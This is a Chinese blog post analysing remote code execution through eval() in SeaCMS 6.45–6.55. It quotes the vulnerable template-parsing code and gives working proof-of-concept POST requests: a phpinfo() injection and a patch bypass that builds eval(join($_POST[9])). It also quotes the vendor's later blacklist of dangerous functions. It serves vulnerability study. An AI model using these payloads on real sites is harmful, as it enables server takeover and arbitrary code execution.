seacms命令执行分析
Comment前言
seacms从6.45开始到6.55一直存在命令执行,打了补丁也会被绕过。6.66在新的位置也爆出了代码执行……
找源码找了半天,最后终于找到了 哈哈 真心感谢这些项目的维护者
https://github.com/SecWiki/CMS-Hunter
seacms 6.45
漏洞位置在/include/main.class.php parseIf()这个函数
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");//匹配
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);//把匹配到赋值给iar
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
实际上也是没进行过滤就传入eval导致的代码执行。其实主要关键点就是
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
可以看到这边eval
的是$strIf
,而$strIf=$iar[1][$m];
都是$content
这个参数匹配进去的。现在我们找那个地方会调用这个地方就行了。
search.php 文件
function echoSearchPage()
{
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}
...
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
...
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content);
...
我们要把$order赋值给$pSize选择模板文件,$order可以覆盖可控,之后用order变量替换了模板中的{searchpage:ordername}
<a href="{searchpage:order-time-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
<a href="{searchpage:order-score-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>
然后传入parself
evil("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}");
最终poc
http://127.0.0.1/seacms/seacms6.45/search.php?searchtype=5
post:searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}
seacms 6.54
看补丁对order做了白名单限制,但是对漏洞根本原因并没有进行修复
$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc'); if(!(in_array($order,$orderarr))){$order='time';}
看大佬们给的poc (大佬就是牛逼!)
get:http://seacms.test/search.php
POST: searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();
我们可以看到即使限制了$order还有其他变量可以覆盖,但是对利用进行了一些限制。进行了过滤并且限制20个字符。
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));
$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));
$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));
$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));
$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));
$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));
$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));
$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));
$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));
还是在echoSearchPage
函数中
if(intval($searchtype)==5)
{
$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
$jq = !empty($jq)?$jq:'全部';
$area = !empty($area)?$area:'全部';
$year = !empty($year)?$year:'全部';
$yuyan = !empty($yuyan)?$yuyan:'全部';
$letter = !empty($letter)?$letter:'全部';
$state = !empty($state)?$state:'全部';
$ver = !empty($ver)?$ver:'全部';
$money = !empty($money)?$money:'全部';
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
$content=$mainClassObj->parseSearchItemList($content,"type");
$content=$mainClassObj->parseSearchItemList($content,"year");
$content=$mainClassObj->parseSearchItemList($content,"area");
$content=$mainClassObj->parseSearchItemList($content,"letter");
$content=$mainClassObj->parseSearchItemList($content,"lang");
$content=$mainClassObj->parseSearchItemList($content,"jq");
$content=$mainClassObj->parseSearchItemList($content,"state");
$content=$mainClassObj->parseSearchItemList($content,"ver");
$content=$mainClassObj->parseSearchItemList($content,"money");
}
替换流程:
Step 0: <meta name="keywords" content="{seacms:searchword},海洋CMS" />
Step 1: <meta name="keywords" content="{if{searchpage:year},海洋CMS" />
Step 2: <meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />
Step3: <meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />
Step4: <meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />
Step5: <meta name="keywords" content="{if:eval(join{searchpage:jq}),海洋CMS" />
Step6: <meta name="keywords" content="{if:eval(join($_P{searchpage:ver}),海洋CMS" />
Step7: <meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />
可以看到已经替换成我们的木马然后在匹配到parseIf去eval。
seacms 6.55
看补丁
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
foreach($iar as $v){
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;
这里对$iar[]
黑名单过滤,这里看大佬分析是用$_SERVER引入请求
http://www.freebuf.com/vuls/150303.html
直接看大佬分析吧(评论也是很好笑的)